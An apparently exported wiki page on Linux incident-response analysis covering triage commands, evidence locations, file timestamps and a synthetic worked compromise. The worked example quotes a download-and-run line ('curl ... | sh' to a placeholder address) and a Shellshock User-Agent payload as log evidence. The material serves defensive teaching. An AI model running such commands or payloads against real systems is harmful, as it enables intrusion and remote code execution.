Files have four time values:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Name !! Meaning !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;mtime&#039;&#039;&#039; (modified) || When the contents last changed || Easy for an attacker with root to set to any value with &amp;lt;code&amp;gt;touch -d&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;atime&#039;&#039;&#039; (accessed) || When the contents were last read or run || Linux usually mounts with &amp;lt;code&amp;gt;relatime&amp;lt;/code&amp;gt;, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;ctime&#039;&#039;&#039; (changed) || When the file&#039;s &#039;&#039;metadata&#039;&#039; last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been &amp;quot;timestomped.&amp;quot; But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as &amp;lt;code&amp;gt;debugfs&amp;lt;/code&amp;gt;).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;btime&#039;&#039;&#039; (birth/creation) || When the file was created || Recorded by ext4 and shown by &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt; (&amp;quot;Birth&amp;quot;); not available on every file system or tool.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; and a user later changes a password, the attacker&#039;s timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package&#039;s own program during an update is not.&lt;br /&gt;
&lt;br /&gt;
For those reasons, treat a timeline as &#039;&#039;&#039;a guide to evidence, not evidence itself&#039;&#039;&#039;. It points you to the files, logs and memory artifacts that you then examine and can report.&lt;br /&gt;
&lt;br /&gt;
Some other useful timing facts:&lt;br /&gt;
&lt;br /&gt;
* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation&#039;s local time zone unless you tell them otherwise.&lt;br /&gt;
* The SSH host keys under &amp;lt;code&amp;gt;/etc/ssh&amp;lt;/code&amp;gt; are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)&lt;br /&gt;
* Check the system&#039;s own clock and time zone against its logs before you compare times across sources.&lt;br /&gt;
&lt;br /&gt;
=== A note on deleted files ===&lt;br /&gt;
&lt;br /&gt;
Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.&lt;br /&gt;
&lt;br /&gt;
== Worked example ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Report:&#039;&#039;&#039; the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Volatile state.&#039;&#039;&#039; The process tree shows a shell started by the web server, and a process nobody can identify:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
www-data  4108  apache2 -k start&lt;br /&gt;
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh&lt;br /&gt;
www-data  4188  /var/tmp/.cache/update&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo ss -tnp state established&lt;br /&gt;
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process&lt;br /&gt;
0      0       10.0.0.5:48822        203.0.113.50:4444   users:((&amp;quot;update&amp;quot;,pid=4188,fd=3))&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Already there are three clues: a web-server child running a downloader, a program in a hidden directory under &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, and an outbound connection owned by that program.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Way in.&#039;&#039;&#039; The access log around the time process 4121 started (14:02 UTC) holds:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] &amp;quot;GET /cgi-bin/status.sh HTTP/1.1&amp;quot; 200 412 &amp;quot;-&amp;quot; &amp;quot;() { :;}; echo; /usr/bin/id&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; in the User-Agent, sent to a CGI script, is a Shellshock attempt. The &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; and the timing (the shell appears seconds later) suggest it worked. The client address, &amp;lt;code&amp;gt;198.51.100.7&amp;lt;/code&amp;gt;, is the same one that was guessing SSH passwords minutes earlier in &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;, so the attacker was probing more than one way in.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Persistence.&#039;&#039;&#039; The cron directory for the web user contains a job that restarts the unknown program every minute:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
$ sudo cat /var/spool/cron/crontabs/www-data&lt;br /&gt;
* * * * * /var/tmp/.cache/update &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of &amp;lt;code&amp;gt;/proc/4188/exe&amp;lt;/code&amp;gt; and hashes it.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Timeline.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Time (UTC) !! Event !! Source&lt;br /&gt;
|-&lt;br /&gt;
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || Shellshock-style request against &amp;lt;code&amp;gt;/cgi-bin/status.sh&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;access.log&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 14:02 || &amp;lt;code&amp;gt;apache2&amp;lt;/code&amp;gt; spawns a shell that downloads and runs a script || process tree&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 || &amp;lt;code&amp;gt;/var/tmp/.cache/update&amp;lt;/code&amp;gt; created; cron entry added || file times, crontab&lt;br /&gt;
|-&lt;br /&gt;
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=263</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=263"/>
		<updated>2026-10-02T23:33:58Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
